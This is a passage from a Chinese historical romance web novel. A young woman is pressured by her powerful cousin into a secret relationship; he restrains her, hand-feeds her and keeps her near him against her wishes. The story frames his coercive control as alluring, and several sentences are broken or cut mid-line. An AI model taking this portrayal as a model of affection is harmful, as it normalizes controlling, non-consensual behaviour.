祁泠靠着床榻默默啜泣,挣扎或离开都没有力气,迷茫又无措,来日都变得昏暗起来。 两人谁都没说,谁也没提,皆清楚知晓,他没有办法娶她,他可以决定她的去留,却不能光明正大娶她。老夫人和大夫人绝不会同意。 祁清宴手扶着她脑后,将无力挣扎的她按进怀中,空荡荡的心仿若被填满,得偿所愿的欣喜被她的抗拒冲淡、最终接近虚无。 如今话已出口,如落子无悔,他未曾有过不得偿所愿的事,此时放手,必生心障。 “我们是一家人,我绝不会放你走。” 他低头,唇落在她青丝之间,轻声道:“你恨我罢。” 第32章 第三十二章【VIP】 “我要回去。” 她声音孱弱,透过衣衫,伴着呼吸间的热气一同落在他胸前,带来几丝痒意。 祁泠哭得累了,一时又想不到法子来应付他,便要先回去。 回到二房,回到辛夷阁去。 此刻,二房对她而言是遮蔽风雨的去处,只要到冯夫人身边,总有解决的法子。琅玕院从前也是令她心安的地方,如今她却觉孤立无援,担惊受怕。 宽大手掌抚在她额前,顺着青丝慢慢过去,似安抚又似哄,“等一等罢。” 祁泠从他怀中挣出来,质问他,“这也不行。那我只能留在这里,连二房也回不去吗?” 她大抵不知晓自己是何模样,声音和气势弱,春水般的眼眸却映着不屈与倔强来,再无往日与人和善的温良,只有怨。 不再与他提及那件事,只说要回二房,她当真应允了吗? 没有。 每根头发丝带着不愿的意思。受了欺负,但无力抵抗,所以要积攒积攒力气,想办法如何反击回去。 她定会回去想法子。 如同当初知晓卢肇月纳妾那般,回府找对策。只不过这回无人能帮她。 他与卢肇月全然不同。他绝不会让她受婆母的委屈,计划将她带出去。左右他不常回祁家,在外府上主子只有两人,不更稳妥清静? 而且,他不会在外沾花惹草,从始至终只对她有几分特殊,这种感觉新奇让人难得心脏乱跳,思绪不静。 危险又勾人。 思绪千回百转之际,他已然将她能想到的法子全过了一遍,她能依仗亲人,但他们是一家人,偏偏她的亲人亦是他的血亲,她没有法子可行。 祁清宴道:“用些粥再走罢。” “我不想吃。”她脊背挺直,脸侧开,只为离他的胸膛稍远些,露出抿着的唇和紧紧绷着的下颌。 “不吃便一直留下罢。” “你!”祁泠气得扭过头去,他微微垂下的眸子,内里深邃,面容宁静又平和,如平静的湖面没有一丝涟漪,但因平静太过,又隐隐带上几分危险。 “我吃。”她偏回头去。 身旁的人却好一阵儿没了动静。 “勺子给我——” 祁泠不想与他耗,他像有了许多空闲功夫。可她不想再在这里,在他身边,从前他不能将她怎么样,如今却说不准。 祁清宴忽略她不善的语气,养尊处优修长的手拿起瓷勺,在碗里搅了搅,勺底划过碗底,拉长刺耳的声音不时响起。 他慢条斯理舀起小半勺粥,递到她唇边。 祁泠抬手去拿勺子,不用他来喂,他却移开勺子,偏不给她,争抢些许粥落在她衣襟上,晕开一点痕迹。 她怒而看他,祁清宴却道:“我喂你。” 想来她是不习惯才会如此抗拒,他其实也有些生疏,他们二人一同习惯就好了,从小细节培养起亲密来。 无论如何生气,祁泠听到这话眸子还是不可抑地瞪大了些,过后也因自己震惊而感到几分好笑。 他都想出她去做外室的荒谬法子,又什么事是他做不出来的呢? 粥已从滚热放到渐凉,瓷勺仍存着些许温热,表面覆着一层黏腻*的粥,轻抵在祁泠唇边。 她紧紧闭着嘴,举着瓷勺的手稳如磐石,一动不动,大有于她耗到天长地久的耐心劲。 他神色认真,又颇有兴味,似是寻到什么新鲜事,手拿着瓷勺,视线在她面容上来回描绘。 祁泠率先认输,启唇露出洁白的贝齿,抿了一小点粥,便道,“吃好了。” 祁清重新舀了一口粥,混着她方才没吃完的一起。祁泠未张口,只见他将拿勺粥送入自己口中,缓慢地含下整勺。 喉咙微动,咽下。对上她的眼,轻声又道,“不烫……我来喂你?” 即使是与卢肇月关系最好时,一同用膳他也没吃她吃了几口的东西。她吃过的东西旁人不嫌,她也觉别扭。 而他、而他—— 祁泠拿过勺子来,用膳的动作仍然雅致,速度却比方才快上不少,三下两除二便吃完一碗粥。 腹中发涨,还是没有力气,可感觉已好了许多,用了些温热的吃食不再难受。她道:“我吃好了。” 祁清宴喊了声青娥,青娥垂着头进来,与往日落落大方的模样全然不同,奉给祁泠一碗汤药,说一句娘子请,便侧立一旁,眼观鼻鼻观心,再不说一句话。 瞧着黑漆漆又黏腻的汤药,祁泠抬手用帕子遮掩着唇,警?” ,青娥垂着头,却答道:“禀三娘子,这是调理身子的药,方才娘子晕过去,疾医来了一趟。瞬,瞄向祁清宴,之后将头垂得更深,“……劳烦娘子隔两日来一趟琅玕院。” 隔两日。 若是单纯喝药为何不能将药方交由她,或是在这处抓了药,她的侍从奴仆,偏偏劳烦他的人作甚? 祁泠紧紧攥着袖口,方才只有两人在屋,她震惊、错愕、愤懑。 当青娥进来—— 道,青娥作为琅玕院的一等侍女,察言观色又心细如微,怎会自作 羞愤和无能为力一齐翻涌而上,只是青娥知道此事,就足以让祁泠浑身上下不适,那若是阖府上下皆知呢? 老夫人是有几分真心待她的,将她看做嫡亲的孙女来疼,其中混着几分怜惜,但这并不代表老夫人能够接受两人的事。若让老夫人知道了……祁泠无法承受她失望的目光,会不会后悔曾经将她留在祁家。 有了方才喂粥的前车之鉴,祁泠不想再在这耗着,端过汤药,一饮而下。 只是汤药的苦让她紧皱双眉,喝完起身,拿起外衣,匆匆出了琅玕院。 男子坐在床榻边,一如方才喂祁泠喝粥的姿势,挥了挥手,“管好院中人的嘴……下去罢” 青娥压住内心的惊涛骇浪,应是。 …… 祁泠回到二房,天色已有些晚了,淡薄的夜色笼罩着正院。 祁泠一路上迎风落了不知几滴眼泪,遇到大事第一个想起的人还是冯夫人。犹如来初潮时的害怕,以为她要死掉了,只找冯夫人,窝在冯夫人怀里哭。 正巧遇到玉盘从正院走出,见到祁泠第一眼下意识扫向祁泠身后,看到跟在祁泠身后的银盘,她松了一口气,这小妮子长了教训就好,随后道:“娘子去了何处?才归来,小娘子今日在老夫人处和小郎君玩了整天,回来饿的厉害,用了五块糕点,累得睡过去了。夫人一直等着娘子归来,可今日出了门也累了,方才用过膳,好似睡下了。” 祁泠只道:“我有事耽误了……先去看看母亲。”她走到门口,隐约见内里烛光昏暗,冯夫人果真睡了,心有几分失落,正要转身离去,却听到内里传来声音。 不仔细无法听清的对话声。 “夫人别因娘子的婚事太过担忧,婚事是重要,可夫人的身子也不能这般劳累心神。这病只是表面见好,夫人还要多休养。” “阿泠,若她真是我的女儿就好了。每次想起此事,我都恨柳氏,若不是她,阿泠如今是二房的嫡出娘子,婚事不会如此坎坷。” 嬷嬷又开始安慰冯夫人,可祁泠已然听不清了。 她死死咬着唇,拿帕子擦了一把脸上的泪,转身走了,不能再让冯夫人担心。 翌日,早朝前,天色昏暗只有些许朦胧亮意,祁泠守在二房正门侧,两只手忐忑揪在身前,后面两步远处站着直打哈欠的银盘。 祁观复一身绯红官袍从前院书房走出后面跟着两个小厮,见到女儿有些诧异。 祁泠喊了声父亲,祁观复猜到她有事,命自己的小厮先去前头等着,待四下无闲杂人,才道:“阿泠,生了何事?” 要提及必然先想起,想起祁清宴的逼迫,祁泠眼前模糊,几乎要将祁清宴所作所为全说出— “父亲,祁——” “父亲,泠妹妹……” 祁雪峤从后院赶着跑来,一身儒雅白袍,衣襟袖口以纹路修饰。 祁观复同祁泠解释道:“你三哥托人给你哥哥找了差事,让他在官学呆上一段时日,与旁家郎君混个脸熟。我今日上朝前带他去拜见宋太常,早些出门。” 祁泠攥紧手,手中帕子挤得掌心发疼。父亲是她的养父,却是祁清宴的叔父,一家人互相帮扶,血浓于水,她才是外人。 她道:“阿泠无事,只是母亲——” “你母亲如何了?”祁观复忽而紧张,变了语气。 祁泠摇摇头道:“近日母亲多操劳,有些劳累。” 祁观复道:“晚上我去看看你母亲。” 祁泠点。 她走后,祁雪峤神色复杂,被祁观复斥了一声,再不走快些就要迟了,才闷着头,快步跟上。 两日一晃而过,想起要到琅玕院去,祁泠总有恐惧,为此担忧忐忑,他让她过去做什么? 银盘悄悄来到沉思的祁泠身边,小声道:“娘子……何郎君来找娘子了。” 祁泠惊诧,她以为何家已然离京,问银盘怎么知道。银盘说是玉盘悄悄告诉的,冯夫人知道了,但并未理会何岫。 两家已然说清。为了避嫌祁泠应当不去,但她鬼使神差地起了身,带着银盘悄悄出门去。 …… 黑漆纂刻祁字的马车缓缓赶到祁家,沉弦坐在外面吹风,他还没明白祁清宴与祁泠之间变了,他人小也不知事,看到巷子深处诶呀一声,“郎君,是三娘子与何郎君。” 祁清宴道:“停下马车,候在原地,勿出声惊扰。” 何岫:“今日冒昧来见三娘子,只是想问上一句,是濡云何处出错,惹了娘子厌烦吗?三娘子可如实相告。” 他说话时作揖,态度诚恳,将自己表字都说了出来。 祁泠不知如何说,只摇了摇头,“不,只是……”她顿了顿,没法说是祁清宴改的,这太过荒唐,而且何家全然无法与祁清宴为敌。 “三娘子——” 未等她说完,何岫便道:“既非娘子所愿去,濡云也不相姻缘天定,娘子会克我的命。若娘子愿意——我愿说动母亲,再上门提亲。” 祁泠听到砰砰的跳动声,是她的心在那一瞬剧烈跳动起来。 第33章 第三十三章【VIP】 自前日从琅玕院归来,祁泠一直浑浑噩噩不知前路如何走,她不想永远留在祁家,也绝不想搬出去,成为如他外室的禁脔。 那般众人皆知,事已定,再无转圜。 祁泠打算短暂留在家中,与他周旋。周遭的人都不知晓,她猜,他不会一直如此执着,喜新厌旧是人之常态,又何况是他对她的心思,本就来的不明不白。 她只要等着他渐渐淡了便好…… 可躲避不了在那之前的相处。 身在祁家,她不能独自离开,若抛了祁家女娘的身份去,恐怕更易他折取。上次她用来搪塞回绝为妾的护身符,反倒成了她此时无法轻举妄动的桎梏。 来日昏暗无光,何岫的话便如同救命稻草,让如水中沉浮不知该如何自救的祁泠眼中焕出几丝希望来。 如今只要嫁出去便好了。 她不管祁清宴如何说何岫,只要何岫在她面前未曾表现出不堪便好,她嘴唇翕合,太想离开此地,一声应允正要脱口而出—— 忽而,神志清醒,她不是莽撞的女娘。何岫所说的话即使为真,他能劝动其母,让何母不计较祁清宴弄出来的破命数。到祁家提亲,冯夫人也应允,可正在兴头之上,方将话说明白的祁清宴岂会善罢甘休? 他不许,自有千百种法子来阻碍两人婚事。也正如他所说,八字不合,只言祁泠与何岫两两相克,已然是对何岫最好的法子了。 他并不是光明磊落之人,祁泠已然知晓。 是她方才昏了头,总不能害了旁的无辜的人,明知道行不通还要何岫涉险,对他未免太过不公。 “不必了……”祁泠要多艰难才能亲口拒绝离开祁家的机会,理智胜过虚妄的幻想,她道:“如母亲所言,我们有缘无分,郎君另觅贤妻吧。” 何岫只能看着她俯身一礼,与他礼数周全后离开。银盘鬼鬼祟祟地跟在祁泠身后,两人一同从府后小门进去。 他再不甘心也只能独站片刻,随后离去。 …… 沉弦陪着郎君站在斜后方的巷口候着,瞥见那边只剩下何郎君孤零零一人,他家娘子回了府。偶然冒出点眼力见的贡嘉在拦着过路人,防止惊扰对面方才私会的男女。 沉弦仰头问:“郎君,三娘子这桩婚事真的不成了吗?” 祁清宴颔首,对待年龄小的沉弦他还有耐心解释。沉弦哦了声,“那三娘子会很伤心。” “你怎么看出来的?” 沉弦不假思索道:“因为两人站在一处看起来般配啊,而且三娘子对待何家郎君总是温温和和的,看来是满意。” 为何都说他们般配? 貌若好女有何用?再者,单论容貌,他比不过何岫么?不知者无罪,祁清宴不想再与沉弦说了,什么都不懂的孩童而已。 …… 祁泠陪着冯夫人一同用晚膳,今个比寻常用膳的时辰早上不少,祁云漪这几日在老夫人的院子和笑阿濯玩疯了,一大早起来就赶过去,每次回来都嚷着饿,要饭吃。 “阿泠,听玉盘她们说,你每餐都用得都少,正是长身子的时候,这碗豆乳粥喝掉。” 祁泠舀了一勺粥,想起某人的脸,有些喝不下去。冯夫人给她备了与往日不同的饭,但她毫无胃口,心怀委屈再听冯夫人关切的话,泪意酸涩弥漫严重,又被她压下去,“知晓了,母亲,我只是胃口不好。” 冯夫人以为她是因着何家的事心中烦闷,说话的功夫挪出一只手去,摸摸祁泠脑袋,“前几日我与你提的,你想回去探亲吗,阿泠?” 冯夫人打算让她去探亲,是躲着瑞安王府,但是有祁清宴在,瑞安王妃的算盘绝对打不响。 如果去探亲能短暂离开祁家,躲避开祁清宴一阵儿,祁泠自然愿意。 但她更害怕他干脆将事情捅出来,目前来看暂且无人能帮她,这件事说出来,她怕是要永远困在他身边了。 祁泠只说再想想,还是先找到法子应付祁清宴才好。 用膳过后,她顺手把祁云漪带回辛夷阁,有他亲堂妹在,他不敢太过放肆,派人强带她过去吧吧? 祁云漪吃饱了就想睡,困得晕晕,倒在床榻上,一会儿便没了声音。 祁泠给她掖好被子,和衣躺在外侧,听得外面风声呼啸,吹得落叶酥酥掉落。许久才有几分睡意,银盘睡在外间,匀称又绵长的呼吸声响起,伴着祁云漪几声呓语。 祁泠想永远留在此刻,最好就这般下去。 闭上眼,什么都不想,,意识晕沉,不知不觉睡了过去。 睁眼到天亮,祁泠清醒时,祁云漪披头散发坐在一旁盯着她瞧,低头推了推祁泠,趴在她耳朵边,“阿姐,我要去找阿濯玩。” 她坐起挽起发丝,应好,缓了一会儿,劲,又恢复活蹦乱跳,端着盛了热水旁搭着帕子的铜盆进来,新奇道:“娘子,,夫人传话来,让娘子今个在屋里歇歇,不用出门了。” “不行不行!我要去找阿濯。”落了雪,只会让小孩子更兴奋,从正院来的侍女帮着祁云漪盥洗。 祁泠净过脸,道:“漪漪,,让玉盘送你去三房,阿姐今日累了,不想出院子。” 摇。 祁泠带着祁云漪去正院,陪着冯夫人一同用早膳,祁云漪飞快用膳,生怕冯夫人不让她去,刚吃饱便央着玉盘人带她去。 等小孩走了,冯夫人忽而开口道:“我知你昨日见了何岫。” 祁泠夹菜的动作一顿,清炒菜心进了口中,嚼几口,缓慢咽下,才开口,“母亲,我……” “这些批语,也不可尽信,还记得当初我得了个好兆头,如今不过这般……只是坏的都说成好的,你二人的结果才更难然人接受。可你若真中意他,何家再上门,是否应下都听你的。” “母亲不必担忧,只是寻常见面而已,以后不会再见了。”祁泠话音落下,冯夫人知她意已决,不再提。 母女俩缓慢地用着膳,小丫鬟快步从外走进通禀,“夫人,娘子,三郎君来了。” 筷子落在桌上的声音清脆见响,瓷制的碎成两截,冯夫人的视线扫过来,祁泠低垂着头,装作失手,但她平日何曾这般不稳重过。 冯夫人看她几眼,转头与小丫鬟道:“请三郎去堂屋,我与娘子随后便到。” “母亲,”祁泠闷闷出声,在冯夫人面前总会露出几分真实情绪,“我不想去。” “你俩还在置气?”冯夫人自己是怎么也猜不到真相,两人闹别扭她看在眼中,以为祁泠是孩子气,道:“罢了,不愿你就回去,我只推脱说你身子不适好了。” 冯夫人早膳还未用完,但祁清宴在等,她也不吃了,拿帕子拭了拭嘴角,起身前去迎客。 留祁泠独坐膳厅。 不行,祁清宴寻常不来,为何偏在此时来? 她脑海里浮起祁清宴与冯夫人见面的场景,如果祁清宴和冯夫人说了大逆不道的话,冯夫人当然会护着她,万一被气出个好歹—— 祁泠慌乱到无法安静坐在这里等着冯夫人回来,生怕想象中的情景变真,祁清宴实在让人担忧。 她拽着过长的裙,冯夫人前几日吩咐人给她裁了一身曳地雪梅长裙,今日来正院被冯夫人催着换上应景,此时走起来不便,匆匆赶去客堂。 堂内家训高挂,冯夫人坐在侧上首的扶手椅上,笑意盈盈,与对面的祁清宴相谈甚欢。 祁泠站在门口,微微喘着气。 “阿泠过来……”冯夫人招了招手,祁泠避开祁清宴的视线,慢腾腾挪着步子到冯夫人身侧,眉眼低垂,听冯夫人道:“三郎今日是为你来的。” 祁泠惊愕万分,瞬间抬眼过去,见对面郎君眼眸微微弯起,笑颜轻展,一副晴朗神色,搭一身月白长袍,犹如雪后湖光山色,赏心悦目。 她再也不会被这温和皮囊欺骗到,怒瞪着他。 冯夫人解释道:“三郎有忙要你帮,你闲着也是闲着,便去帮衬三郎吧。” “母亲!?”祁泠惊讶也难掩,转头望向冯夫人,猜到祁清宴恐怕是使出什么手段来哄骗了冯夫人,才让她羊入虎口跟着他去。 她原以为他说的是偷偷摸摸来往,没想到他却光明正大,直接找到二房来了! 祁清宴轻笑一声,道:“是族中事,我近日繁忙空闲时少,又将到年关,远些的店铺田庄账册已送到府上,还要劳烦妹妹帮我过过眼。” 关乎祁家,涉及府中内务的重要事,之后要由府上家主夫人做的事,却来二房喊祁泠帮忙,冯夫人初听也惊讶。 但对祁泠来说,多做做这些只有益处,也显得是家中受器重的女儿。 冯夫人道:“阿泠,你与三郎去吧,晚上再回来。” “母亲……”祁泠拒绝的话还未说出口,祁清宴便已起身,向冯夫人行礼。而祁泠攥着手,此刻拒绝未免太过明显。 再说他不达目的不罢休,只是留个白日,有冯夫人的话,晚膳前要回来的,他应当也不能如何她。 银盘这回紧紧跟着祁泠,随她一同去。 昨晚的雪化的只留薄薄一层,裹着整座宅院,令人眼前清明一亮,祁泠拽着长裙缓缓走在祁清宴后面,随着他走过大半祁府,内心已然将他翻来覆去骂上许多遍混蛋。 一走进覆雪竹林,进入他的领地,混蛋过来挤走了银盘,宽厚的手掌扣住她手腕。 祁泠往出挣,他稍微松开一点,紧接着却自然而然地穿过指缝,紧紧勾缠住她的手。 第34章 第三十四章【VIP】 雪后的天仍有些冷冽,银盘两手抱着伞,以防晚间回去时落雪。被坑过一次,如今但凡看天色有一点不好,她都要带着伞出来。 意识不大清醒地跟着祁泠走,踩到一块硬石子,毫无防备地身子一歪,银盘稳了稳才定住身形,仅仅耽搁几瞬,再看向前方,她家娘子身旁的位置已被三郎君占着了。 银盘抱着伞迷茫着,又见祁清宴伸手牵住了祁泠,顿时震惊到迈不开步子。 十指相扣的握着,祁泠再挣不开他,只觉他手心炽热有力,被带着往琅玕院走,想到后面目睹一切的银盘,祁泠眸底凝着愤怒,压着声问:“……你非要闹到人尽皆知的地步吗?” “那又如何?”祁清宴回头扫了一眼,银盘抱着伞,眼睛瞪的大大的,嘴巴张着,碰上祁清宴的视线,还没琢磨明白是怎么回事,但她猛然低头,浑像受了惊的鹌鹑。 “别担心,你的侍女,怎会做出违背你的事?”祁清宴掌心紧握着那抹滑腻,心中妥帖有落实感,又要记着不能有一刻松懈,正如手握游鱼,一松便滑溜溜的走了,转头对祁泠道:“这是你的家,不必看旁人脸色。” 他能随心所欲,她不能。是他的家,不是她的。 祁泠反驳也没有用处,不再同他说此事,想起方才便觉气闷,她能忍祁清宴,但不想将冯夫人牵扯进来,“你用看账的由头骗母亲,母亲是你叔母,你丝毫不敬重她。” “没骗叔母。”面对她护短的指责,祁清宴笑着解释:“是我当真忙,忙得昨日没空去寻你,只好今天再去。” 提到昨日,祁泠长睫低下,眨动快了些,偏头看向旁处不和他对视,也不搭他提的昨日的话茬。 他说真忙的话,祁泠也似信非信,祁清宴看出来了,握紧她的手,轻笑一声并不辩解。 祁泠这般被他拉到琅玕院去。院中两位大侍女青娥和碧若皆在,青娥上前向郎君和娘子请了安,碧若被青娥提点过,也随着行礼。 院中其余侍从皆垂目不言,这几日曾挨个被青娥敲打过,只当没长眼睛。能在琅玕院做事,寻常清闲月例更多,可要是管不住嘴,下场也会更惨烈些。 青娥随着两人到书房中,内里新添盏莲花铜制的香炉,其中正燃起袅袅白烟,祁清宴抬手一指,青娥低眉敛目上前,将香炉搬走了,未发出一丝声响。 内里早已备好,如祁泠从前来时那样。祁清宴常在的案桌旁处摆着同色木料略小些的案几,不过,上次两案相隔三步远,今个却变了,距离不过一尺远,连人带案皆在他眼皮子底下了。 祁泠提着裙子过去,他没说谎,案几上果然摆着几卷账册,连算筹都备好,板板正正地摆在边上。而他的桌上叠着三两封书信,以及一摞古籍,也有正事要做。 若在从前,他太忙祁泠定然会来帮忙,如今却不大同了。她道:“你忙与我有何干系,我不要帮你看帐。” 祁清宴:“叔母答应我,让你随我回来帮我忙。” 祁泠一噎,想要回怼他,却因从前没见识过他的诡辩一时想不到如何说。母亲让她随着他一同来,也没说让他牵着她的手。再者,要是冯夫人知道他的恶劣心思,是绝对不会让她过来的。 她想要说什么又说不出来,话都堆在腮帮子里,眸子里也有些跳动的火焰,因为太想回嘴,整张脸浮起层激动的粉来。 “阿泠说得也对,我事忙暂且与阿泠无关。” 祁泠听到阿泠两字从他嘴里说出来便浑身不适,气到想要甩开他的手,又无法得偿所愿。 旁边祁清宴状若思索了会儿,“确实不能白劳累,不如将今年府上收益分你些……送到琅玕院那份分你一半?如何?” 送入祁清宴手里的祁泠不知多少,但总归不会少。但她才不答应,能躲他多远有多远,不因此屈服,道:“那你另请人来吧,如此丰厚的嘉奖,能找到最好的账房先生。” “可惜我不放心啊。”祁清宴慢慢道。 祁泠冷笑,她是坚决不会同意的,凭什么要他事事如愿,都要委屈她。 祁清宴开口:“此后,你每隔两日来看一次账,如何?” 做梦!祁泠才不会傻到主动送上门去,用正当的理由,主动又乖乖的到琅玕院来,主动坐到他身旁去。不字刚说出口去,对上祁清宴挑眉浅笑的神情,祁泠倏然福灵心至,察觉到他话中另外的意思。 就行?” 祁清宴笑声朗朗,“不然呢?” 祁泠险些以为自己想多了,曲解了他让她来的意思,他找她来是单纯帮忙的。可手中依旧炽热的掌心,在走动时偶尔相接发出嚓嚓声的衣袖,还有大前日他那些可恨的话,无不彰显着他没安好心。 可有时候,人总乐意自欺欺人,相信自己愿意相信的事,祁泠也不例外,问” 祁清宴从喉间嗯一声,已经将她带到小案桌处,主动松开手,自顾自坐在旁边案桌,整理衣袍,揽袖提笔,又是一副庄重郎君样子了。 祁泠只能自己在心里犯嘀咕,同时将三最边上,离他最远的地方。 她解开绳子,展开账册时,走神想着,她一定要尽快看,,午膳前她就要回二房去,他刚刚说出口的话, 待账册全貌铺在眼前,祁泠傻了眼,这看着是粮庄的账本,那颇具善名、乐善好施的的粮庄足园,竟是祁家的。 旁的人家做好事巴不得留声望,祁家却藏着。世家自有其底蕴,祁泠惊讶过后便罢了,可最重要的是这粮庄账本非她上次看过的简单开支,还有与旁的粮庄之间的交易买卖,从各处收来又卖走的记载,每处地方价钱不一、不同时节也不一,比上次的账册难上许多。 上次她都算得磕磕绊绊……这真的行吗? 祁泠对自己产生深深的怀疑,可她并不是随意糊弄的性子。 祁清宴答应她看完帐就走,她也不能随便翻两下便完事。周遭萦绕着提神的薄荷香气,让她脑子清楚得很,一时有了能看完的决心,壮志酬筹一鼓作气拿起算筹,目光落在竹简之上的第一行。 郎君视线收回,嘴角荡起浅浅的弧度来,也专注于他的事来。 将近两个时辰过后,青娥端着两盏茶进来,得到祁清宴应允,一齐轻放在祁泠身前。 祁泠闻声一个激灵,重新坐直了身,喝了一口热茶,垂眼,看面前仍是第一卷账册,前面只有几处朱红。 那股清凉的气味散了,她几乎再闻不到,愈发困倦,又强撑眼皮,继续看下去。 她以手支额,那只晨间被握在他掌心软乎乎的手,用力拍了拍自己脑袋,将晕沉甩出去,重新认真算起来。 祁清宴持笔,在信中的图纸上勾勒几笔…… …… 迷迷糊糊之间,浑身失重,似乎没了着落,祁泠嘤一声,勉强睁开眼,一条缝的视线中瞄见到郎君流畅的下颚,拖着她腰间和腿的臂弯力道格外明显。 她在被他抱着走。意识到这点后,祁泠倏然清醒,发出一声微小的惊呼,“祁清宴!?” “嗯,是我。账本不急,你先休息一会儿。”祁清宴抱她走的脚步不停,朝着内里床榻之处走。 “不,我不困。”祁泠挣着想要下去,祁清宴却横抱着人,放在她腰间的手更紧,不松手,反问:“真的不困?” 该死的,祁泠就是没法否认真话,略顿了几瞬,道:“我方才是困了,但现下清醒了,你不是着急账本繁多么?我速去看完就是了。” 祁清宴置若罔闻,将祁泠放在床榻里侧,脱去她的绣鞋,他也和衣躺下,忽而话锋一转,以一种肯定的语气道:“你昨日见了何岫。” 祁泠愣住不动。她知晓冯夫人得知她与何岫相见是玉盘传的话,玉盘瞒不住冯夫人,一问就如实以告。 祁清宴不知怎么也知道了。 她和何岫见了一面,好似人尽皆知。 “无事。”祁清宴接着道:“我知道你没理会他。没应他的缘故,不是不想离开,是你怕牵连于他吧?” 祁泠浑身僵住,不知如何回答,祁清宴长臂一揽,将她抱进怀中,率先闭目道:“我累了,陪我睡一会儿罢。” 第35章 第三十五章【VIP】 难以忽视身旁的男子,鼻尖贴在他胸膛,闻得干净的冷香,祁泠别扭躺着,一时手脚不知该放到何处,怎么都能碰到他。 一丝困意都无,若此刻能睡着,她才是真的心大,挨着他,只觉得过的好慢。 她睫毛时不时忽闪着,四肢都是僵硬的,祁清宴将手搭在她盈盈不堪一握的腰间,她更是一动不动,只眼皮颤了一下。 祁清宴闷笑,抬手抚去她额间碎发,“还没睡?”,未等人答话,温热的唇便印在她额间,短暂流连。 祁泠霎时紧闭上眼,随后彻底不动,连呼吸都屏住,憋了好一阵才开始轻轻喘气,生怕被他发现是真的没睡。 装睡的十分不娴熟。祁清宴也不戳破,温香软玉在怀就足够了,也没那样难以接受,反倒让人心里怀里都暖盈盈的。 只苦了祁泠。 眯着睡熟了被他抱起来,她清醒了,现下要被迫装睡,闭着眼睛,听着上方传来的绵长呼吸。 两人都穿着外衣,给了祁泠些许稳妥感。她心惊胆战听着他一举一动,太久无声,她竟也睡了过去。 窗外雪声轻落,挤进窗中几分冷意,丝丝缕缕蔓延开来。室内的主人不惧寒,还未燃起炭火,喜暖的祁泠却觉有些凉了。 手脚发冷,祁泠睁开眼,发觉她睡在帐子内里,规规矩矩地端正躺着,身上覆着层薄锦被。 不是她熟悉的辛夷阁,祁泠意识到自己身在何处时,入睡前的记忆随之回来,她也偏过头,望向身边—— 空无一人,他不知何时起身,而她睡沉全然没发觉。 来过几次祁清宴的卧房,每次她都在床里侧醒来。她不想习惯,也不愿习惯在此休息,起身不在此久留。 心里惦念着还没算完的帐,祁泠走了几步倏然发觉头上轻飘飘的,没有簪环坠着,她抚上发顶,万千青丝落在脑后,只剩盘在发顶的简单发髻。 侧眸望去,床侧似乎比上回添一金丝楠木雕花鸟的梳妆台,铜镜下方依次摆着从她发间拆下的钗环,耳饰。 看来前几日她说不愿出府,他着手准备起琅玕院,将此当做两人相会之地。 可祁泠所愿非如此,情爱与她而言并不重要。她要堂堂正正地活着,不想谨小慎微,也不会担心自己出现在何处是否会惹人心烦,身份尴尬。 而这些在祁家,都是决计无法获得的。从前无法,与他私会更是无解。 祁泠走出内室,过堂子,推开书房的门,书房窗子微敞开些,飘进来的风夹杂碎雪落在她长睫上,带来一点冰凉意,她揉下去,拖着曳地长裙向前。 金乌西落,染上暗沉,不复早间的亮堂,小案桌上的三卷账册他都看过了,竹册旁侧有着批注,案旁多了一页纸,上书着她算错之处以及如何正确做法。 祁泠坐下,一行行静静看过。 她在心中反复演算,记住做法。等抬首时,天色发沉,还是熬到了天黑,她心下解脱,正好趁着祁清宴没回来,她直接回二房好了。 忽而风急,他案桌上的一摞纸张被吹响,几张落在地上。 祁泠抿抿唇,扫了几眼,本欲不管,可被风吹得愈发远,她还是走过去,弯腰将满是他字迹的纸页拾起,刻意不去看清上面写的字意,回身将其放在他的案桌上。 不经意抬眼一瞥他案桌,祁泠顿时瞳孔紧缩,从心底生出密密麻麻的惊骇来。 他做事未避讳她,但白日她看着自己的账册,未注意他的案桌。字句尚能可以不去理解,但图纸一眼分明。 她不懂兵戎,但也能从那几张图纸看出大概模样。 ——俨然是铸造箭□□。 世家各家皆有私卫,前朝管的松泛,亦允大族造武器防身,楚家暗中囤兵器反了沈氏皇族。先皇称帝后对此严防死守,绝不许世家私造兵器,威胁楚氏江山。 而祁清宴……他到底在做什么? 祁泠不敢细想。 身后忽被罩上披风,肩头落下一只手。 他回头,祁清宴站在她身后,脚步轻轻她没听到。 披风周围镶着一层绒毛,边缘处绣了蔷薇花,是冯夫人闲时绣给女儿的。她虽没有亲生父母,但也在祁家衣食无忧长大,天真长大,难掩饰反应太大的情绪。 眸中的惊明显。 “风吹掉了,解释。 祁清宴轻松又愉悦的笑了几声,想亲昵唤她阿泠,又清楚察觉到她对他这么唤的抗拒,道:“无碍,你愿意看,我只会欣喜。” 他。 起码要比从前那便宜的兄妹关系更亲近,好让她记得清晰,改了对他的态度。 他 可祁泠没被他迷惑。她绝不会做出有害祁家的事,而他也十分清楚这一点,才丝毫不避讳她。 而且,从前他在她面前不会如此坦然,在庄子受伤时,他没对她和祁望舒提半个字,是她意外碰见他才知道。 他的亲堂妹,他都没告诉。 ,如今这般还不是因着,他将她视为所有物,认为她再离不开祁家。* 不谈信任与情意,祁泠看得清醒,也没有一点动容,冷冰冰道:“天色晚,我要回去了。” 祁清宴揉了揉她脑袋,由她去了。 …… 祁泠回到二房呆了两日,每日都盼着过得慢些,再慢些。可一晃神又到了该去算账的日子。 进了琅玕院,青娥恭敬行了礼,道:“娘子,郎君今日不在。” 祁泠心里长松了口气,“那我回去了。” “别,娘子——”青娥拦了一把,将转身的祁泠制止住,又道:“娘子,郎君虽然不在,但昨日已给娘子备好该看的册子。” 只祁泠一人进了他的书房,迎面扑来暖意,走在路上冻的发凉的手逐渐回暖,她案桌旁多了鎏金博山熏炉,比上次来暖和许多。 小案桌上仍摆了三卷账册。没了祁清宴在,祁泠自在许多,开始翻看。 俄顷青娥端来一碗汤药,祁泠闻到药味,没抬眼道:“先放在一旁罢。” 只有碗落下的声音。自青娥进来,祁泠分了神出去,一阵儿没听到出去的声响,青娥站在不远处劝道:“凉了会散药效,娘子还是趁热喝罢。” 必是祁清宴吩咐过,让青娥看着她喝下去。祁泠不愿为难旁人,放下手中算筹,忙中抽闲挪出手来,一碗苦药一饮而尽,咽下后口中满是药的涩苦意,噎得她缓几瞬才开口:“好了,你下去忙吧。” 语毕,便复垂头。 今日的账册还是上次的粮庄,这回祁泠再算起,有些得心应手。秉着来都来了,学学总归没坏处的道理,将算不清的地方全都画出来,等着祁清宴在侧批注。 “娘子,今日……” 祁泠抬头望向欲言又止的青娥。 